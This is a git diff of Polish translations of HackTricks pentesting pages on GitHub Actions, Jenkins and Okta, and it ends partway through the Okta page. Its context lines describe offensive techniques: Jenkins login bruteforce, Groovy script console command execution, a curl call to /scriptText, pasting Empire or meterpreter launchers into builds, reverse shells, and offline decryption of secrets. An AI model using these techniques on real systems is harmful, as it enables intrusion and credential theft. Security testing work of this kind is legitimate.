GitHub może używać [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań. - Nie buduj aplikacji GitHub, jeśli _tylko_ chcesz działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może zrobić. -- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Więcej informacji znajdziesz w "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Aby uzyskać więcej informacji, zobacz "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." - **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** nadanych akcji, mogłoby zostać przeprowadzone kilka **różnych ataków**. Zobacz poniżej więcej informacji. +To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** przyznanych akcji, mogłoby zostać przeprowadzone kilka **różnych ataków**. Zobacz poniżej więcej informacji. ## Akcje Git @@ -148,7 +148,7 @@ Możliwe jest również skonfigurowanie **kto potrzebuje zatwierdzenia do urucho ### Sekrety Git -Akcje Github zazwyczaj potrzebują jakiegoś rodzaju sekretów do interakcji z githubem lub aplikacjami stron trzecich. Aby **uniknąć umieszczania ich w postaci jawnej** w repozytorium, github pozwala na umieszczanie ich jako **Sekrety**. +Akcje Github zazwyczaj potrzebują jakiegoś rodzaju sekretów do interakcji z githubem lub aplikacjami stron trzecich. Aby **uniknąć umieszczania ich w postaci czystego tekstu** w repozytorium, github pozwala na umieszczanie ich jako **Sekrety**. Te sekrety mogą być skonfigurowane **dla repozytorium lub dla całej organizacji**. Następnie, aby **Akcja mogła uzyskać dostęp do sekretu**, musisz zadeklarować go w ten sposób: ```yaml @@ -196,7 +196,7 @@ Możesz **wymienić samodzielnie hostowane runner'y** organizacji w _https://git Sposobem na znalezienie, które **Akcje Github są wykonywane w infrastrukturze nie-github** jest wyszukiwanie `runs-on: self-hosted` w konfiguracji yaml Akcji Github. -**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy runner. +**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy. Jeśli niestandardowy **Github Runner jest skonfigurowany na maszynie w AWS lub GCP**, na przykład, Akcja **może mieć dostęp do punktu końcowego metadanych** i **ukraść token konta usługi**, z którym działa maszyna. @@ -208,12 +208,12 @@ Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłb > Uruchomiona **złośliwa Akcja Github** mogłaby być **wykorzystana** przez atakującego do: > > - **Kraść wszystkie sekrety**, do których Akcja ma dostęp -> - **Poruszać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie za pośrednictwem usługi metadanych) -> - **Wykorzystać token** użyty przez **workflow** do **kradzieży kodu repozytorium**, w którym Akcja jest wykonywana lub **nawet jego modyfikacji**. +> - **Przemieszczać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie za pośrednictwem usługi metadanych) +> - **Wykorzystywać token** użyty przez **workflow** do **kradzieży kodu repozytorium**, w którym Akcja jest wykonywana lub **nawet jego modyfikacji**. -## Ochrona gałęzi +## Branch Protections -Ochrona gałęzi jest zaprojektowana, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**. +Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**. **Ochrony gałęzi repozytorium** można znaleźć w _https://github.com/\/\/settings/branches_ @@ -225,7 +225,7 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master): - Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to zostanie wybrane, mogą być wprowadzone różne inne ochrony: - **Wymagaj liczby zatwierdzeń**. Bardzo często wymaga się, aby 1 lub 2 inne osoby zatwierdziły Twój PR, aby pojedynczy użytkownik nie mógł bezpośrednio scalać kodu. - **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a następnie dodać złośliwy kod i go scalić. -- **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić) +- **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić). - **Ogranicz, kto może odrzucać recenzje pull requestów.** Możesz określić osoby lub zespoły uprawnione do odrzucania recenzji pull requestów. - **Zezwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia. - **Wymagaj, aby kontrole statusu przeszły przed scaleniem.** Niektóre kontrole muszą przejść przed możliwością scalania commita (jak akcja github sprawdzająca, czy nie ma żadnych jawnych sekretów). @@ -238,7 +238,7 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master): > [!NOTE] > Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master**, na przykład, aby skompromitować pipeline CI/CD. -## Odniesienia +## References - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 0944ffce9..e4b87c9b1 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -4,7 +4,7 @@ ## Podstawowe informacje -Jenkins to narzędzie, które oferuje prostą metodę do ustanowienia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie. +Jenkins to narzędzie, które oferuje prostą metodę do stworzenia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie. {{#ref}} basic-jenkins-information.md @@ -46,11 +46,11 @@ Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzeni ### **Logowanie SSO** -Jeśli **funkcjonalność**/**wtyczki** **SSO** były obecne, powinieneś spróbować **zalogować się** do aplikacji za pomocą konta testowego (tj. testowe **konto Github/Bitbucket**). Sztuczka z [**tutaj**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Jeśli **funkcjonalność**/**wtyczki** SSO były obecne, powinieneś spróbować **zalogować się** do aplikacji za pomocą konta testowego (tj. testowe **konto Github/Bitbucket**). Sztuczka z [**tutaj**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jenkins** nie ma **polityki haseł** ani **ochrony przed atakami brute-force na nazwy użytkowników**. Ważne jest, aby **brute-forcować** użytkowników, ponieważ mogą być używane **słabe hasła** lub **nazwy użytkowników jako hasła**, nawet **odwrócone nazwy użytkowników jako hasła**. +**Jenkins** nie ma **polityki haseł** ani **łagodzenia ataków brute-force na nazwy użytkowników**. Ważne jest, aby **próbować brute-force** użytkowników, ponieważ mogą być używane **słabe hasła** lub **nazwy użytkowników jako hasła**, nawet **odwrócone nazwy użytkowników jako hasła**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` @@ -93,7 +93,7 @@ gitleaks detect --no-git -v ``` ### **Kradzież poświadczeń SSH** -Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins** i poświadczenia SSH są już przechowywane do uzyskania dostępu do innych węzłów, może **ukraść te poświadczenia**, tworząc/modyfikując węzeł i **ustawiając hosta, który zarejestruje poświadczenia** bez weryfikacji klucza hosta: +Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins** i poświadczenia SSH są już zapisane do uzyskania dostępu do innych węzłów, może **ukraść te poświadczenia**, tworząc/modyfikując węzeł i **ustawiając hosta, który zarejestruje poświadczenia** bez weryfikacji klucza hosta: ![](<../../images/image (218).png>) @@ -135,7 +135,7 @@ Aby eksploatować pipeline, nadal musisz mieć dostęp do Jenkins. ### Pipeline Budowy -**Pipeline** mogą być również używane jako **mechanizm budowy w projektach**, w takim przypadku można skonfigurować **plik w repozytorium**, który będzie zawierał składnię pipeline. Domyślnie używany jest `/Jenkinsfile`: +**Pipelines** mogą być również używane jako **mechanizm budowy w projektach**, w takim przypadku można skonfigurować **plik w repozytorium**, który będzie zawierał składnię pipeline. Domyślnie używany jest `/Jenkinsfile`: ![](<../../images/image (127).png>) @@ -151,7 +151,7 @@ Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to: - **Aktualizacja głównej gałęzi** i czekanie, aż zostanie wykonana w jakiś sposób > [!NOTE] -> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomplikować firmy, po prostu to eksploatując**. +> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomprymować firmy, po prostu to eksploatując**. ### RCE Pipeline @@ -159,7 +159,7 @@ W poprzedniej sekcji RCE już wskazano technikę, aby [**uzyskać RCE, modyfikuj ### Sprawdzanie zmiennych środowiskowych -Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfile:** +Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfiles:** ```bash pipeline { agent {label 'built-in'} @@ -182,9 +182,9 @@ Aby uzyskać informacje na temat tego, jak sekrety są zazwyczaj traktowane prze basic-jenkins-information.md {{#endref}} -Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job//configure`). Dlatego, aby wyeksfiltrować wszystkie z nich, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki. +Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job//configure`). Dlatego, aby wyeksportować je wszystkie, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki. -Jest jeszcze jeden problem, aby uzyskać **sekret wewnątrz env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **sekret** **`string`**, otrzymasz ten **błąd**: +Jest jeszcze jeden problem, aby uzyskać **sekret w env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **sekret** **`string`**, otrzymasz ten **błąd**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` @@ -232,9 +232,9 @@ triggers { cron('H */4 * * 1-5') } ``` Sprawdź **inne przykłady w dokumentacji**. -### Węzły i agenci +### Węzły i Agenci -Instancja **Jenkins** może mieć **różne agenty działające na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn. +Instancja **Jenkins** może mieć **różnych agentów działających na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn. Aby uzyskać więcej informacji, sprawdź podstawowe informacje: @@ -286,7 +286,7 @@ cleanWs() } } ``` -## Odczyt dowolnych plików do RCE +## Odczyt dowolnego pliku do RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` -#### Decrypt Jenkins secrets offline +#### Decryptuj sekrety Jenkins offline -Jeśli masz zrzut **potrzebnych haseł do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**. +Jeśli zrzuciłeś **potrzebne hasła do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index b927a70cc..0d3447b57 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -61,13 +61,13 @@ Definicje z [dokumentacji](https://www.jenkins.io/doc/book/managing/nodes/): **Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą być **zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza. -**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym momencie. Innymi słowy, określa to **liczbę równoległych `stages` Pipeline**, które mogą być wykonywane na tym węźle w danym momencie. +**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym czasie. Innymi słowy, określa to **liczbę równoległych `stages` Pipeline**, które mogą być wykonywane na tym węźle w danym czasie. ## Sekrety Jenkins ### Szyfrowanie sekretów i poświadczeń -Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptologii) jest **przechowywany \_nieszyfrowany**\_ w systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub za pośrednictwem API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Typowe identyfikatory kluczy obejmują: +Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptografii) jest **przechowywany \_w postaci niezaszyfrowanej\_** na systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub przez API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Typowe identyfikatory kluczy obejmują: - `hudson.util.Secret`: używany do ogólnych sekretów; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: używany dla niektórych typów poświadczeń; @@ -77,7 +77,7 @@ Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez każdy skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job//configure`), a zatem dostępne tylko z konkretnego projektu. -Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane w potoku bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w dzienniku budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w dzienniku budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń. +Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane pipeline'owi bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w logu budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w logu budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń. **Dlatego, aby wyeksportować poświadczenia, atakujący musi na przykład zakodować je w base64.** diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 6e91c29f8..6ad60df79 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -98,8 +98,8 @@ curl -X POST "$JENKINS_URL/scriptText" \ --data-urlencode "script=$SCRIPT" ``` -- Skrypt Groovy może być użyty do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins. +- Skrypt Groovy może być używany do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins. -Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać dowolny kod. +Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać arbitralny kod. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 901ead43e..0edd6f320 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -7,7 +7,7 @@ Ta metoda jest bardzo głośna, ponieważ musisz stworzyć zupełnie nowy projekt (oczywiście to zadziała tylko, jeśli użytkownik ma prawo do tworzenia nowego projektu). 1. **Utwórz nowy projekt** (projekt Freestyle) klikając "Nowy element" lub w `/view/all/newJob` -2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub PowerShell meterpreter (można go uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._ +2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub meterpreter PowerShell (można uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._ 3. Kliknij **Buduj teraz** 1. Jeśli przycisk **Buduj teraz** się nie pojawia, możesz nadal przejść do **konfiguracji** --> **Wyzwalacze budowy** --> `Buduj okresowo` i ustawić cron na `* * * * *` 2. Zamiast używać crona, możesz użyć konfiguracji "**Wyzwalaj budowy zdalnie**", gdzie musisz tylko ustawić nazwę tokena API, aby wyzwolić zadanie. Następnie przejdź do swojego profilu użytkownika i **wygeneruj token API** (nazwij ten token API tak, jak nazwałeś token API do wyzwolenia zadania). Na koniec wyzwól zadanie za pomocą: **`curl :@/job//build?token=`** @@ -26,7 +26,7 @@ Lub **spróbuj uzyskać dostęp do ścieżki** `/job//configure` lub ## Wykonanie -Jeśli masz prawo do skonfigurowania projektu, możesz **sprawić, że będzie wykonywał polecenia, gdy budowa zakończy się sukcesem**: +Jeśli masz prawo do skonfigurowania projektu, możesz **sprawić, aby wykonywał polecenia, gdy budowa zakończy się sukcesem**: ![](<../../images/image (98).png>) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 368ca2534..dcb11c6d1 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -14,11 +14,11 @@ println "Found text ${process.text}" ``` Możesz wykonać polecenie używając: `cmd.exe /c dir` -W **linux** możesz to zrobić: **`"ls /".execute().text`** +W **linux** możesz zrobić: **`"ls /".execute().text`** Jeśli musisz użyć _cudzysłowów_ i _pojedynczych cudzysłowów_ wewnątrz tekstu, możesz użyć _"""PAYLOAD"""_ (potrójne podwójne cudzysłowy), aby wykonać ładunek. -**Inny przydatny skrypt groovy** to (zastąp \[INSERT COMMAND]): +**Inny przydatny skrypt groovy** to (zamień \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -34,7 +34,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` -### Reverse shell w systemie Windows +### Reverse shell w Windows Możesz przygotować serwer HTTP z PS reverse shell i użyć Jekinsa do pobrania i wykonania go: ```python diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e7f0bc6b8..a32766f1f 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -14,10 +14,10 @@ Flagowym produktem Okta jest **Okta Identity Cloud**. Ta platforma obejmuje zest - **Universal Directory**: Umożliwia centralne zarządzanie użytkownikami, grupami i urządzeniami. - **API Access Management**: Zabezpiecza i zarządza dostępem do API. -Usługi te mają na celu wzmocnienie ochrony danych i uproszczenie dostępu użytkowników, zwiększając zarówno bezpieczeństwo, jak i wygodę. Wszechstronność rozwiązań Okta sprawia, że są one popularnym wyborem w różnych branżach, korzystają z nich zarówno duże przedsiębiorstwa, małe firmy, jak i indywidualni programiści. Na ostatnią aktualizację we wrześniu 2021 roku, Okta jest uznawana za znaczącą jednostkę w obszarze zarządzania tożsamością i dostępem (IAM). +Usługi te mają na celu wzmocnienie ochrony danych i uproszczenie dostępu użytkowników, zwiększając zarówno bezpieczeństwo, jak i wygodę. Wszechstronność rozwiązań Okta sprawia, że są one popularnym wyborem w różnych branżach, korzystają z nich zarówno duże przedsiębiorstwa, małe firmy, jak i indywidualni programiści. Na ostatnią aktualizację w wrześniu 2021 roku, Okta jest uznawana za znaczącą jednostkę w obszarze zarządzania tożsamością i dostępem (IAM). > [!CAUTION] -> Głównym celem Okta jest skonfigurowanie dostępu do różnych użytkowników i grup do aplikacji zewnętrznych. Jeśli uda ci się **skompromentować uprawnienia administratora w środowisku Okta**, prawdopodobnie będziesz w stanie **skompromentować wszystkie inne platformy, z których korzysta firma**. +> Głównym celem Okta jest skonfigurowanie dostępu dla różnych użytkowników i grup do zewnętrznych aplikacji. Jeśli uda ci się **skompromentować uprawnienia administratora w środowisku Okta**, prawdopodobnie będziesz w stanie **skompromentować wszystkie inne platformy, z których korzysta firma**. > [!TIP] > Aby przeprowadzić przegląd bezpieczeństwa środowiska Okta, powinieneś poprosić o **dostęp tylko do odczytu dla administratora**. @@ -75,7 +75,7 @@ W [**tym wpisie na blogu**](https://medium.com/nickvangilder/okta-for-red-teamer **Atrybuty, które każdy użytkownik może mieć i modyfikować** (takie jak e-mail czy imię) mogą być skonfigurowane w Okta. Jeśli **aplikacja** ufa jako ID **atrybutowi**, który użytkownik może **modyfikować**, będzie mógł **podszywać się pod innych użytkowników na tej platformie**. -Dlatego, jeśli aplikacja ufa polu **`userName`**, prawdopodobnie nie będziesz mógł go zmienić (ponieważ zazwyczaj nie można zmieniać tego pola), ale jeśli ufa na przykład **`primaryEmail`**, możesz być w stanie **zmienić go na adres e-mail kolegi** i się pod niego podszyć (musisz mieć dostęp do e-maila i zaakceptować zmianę). +Dlatego, jeśli aplikacja ufa polu **`userName`**, prawdopodobnie nie będziesz mógł go zmienić (ponieważ zazwyczaj nie można zmieniać tego pola), ale jeśli ufa na przykład **`primaryEmail`**, możesz być w stanie **zmienić go na adres e-mail kolegi** i się pod niego podszyć (będziesz musiał mieć dostęp do e-maila i zaakceptować zmianę). Zauważ, że to podszywanie się zależy od tego, jak każda aplikacja została skonfigurowana. Tylko te, które ufają polu, które zmodyfikowałeś i akceptują aktualizacje, będą skompromitowane.\ Dlatego aplikacja powinna mieć to pole włączone, jeśli istnieje: @@ -88,14 +88,14 @@ Najlepszym sposobem, aby dowiedzieć się, czy możesz podszyć się pod kogokol ## Omijanie polityk wykrywania behawioralnego -Polityki wykrywania behawioralnego w Okta mogą być 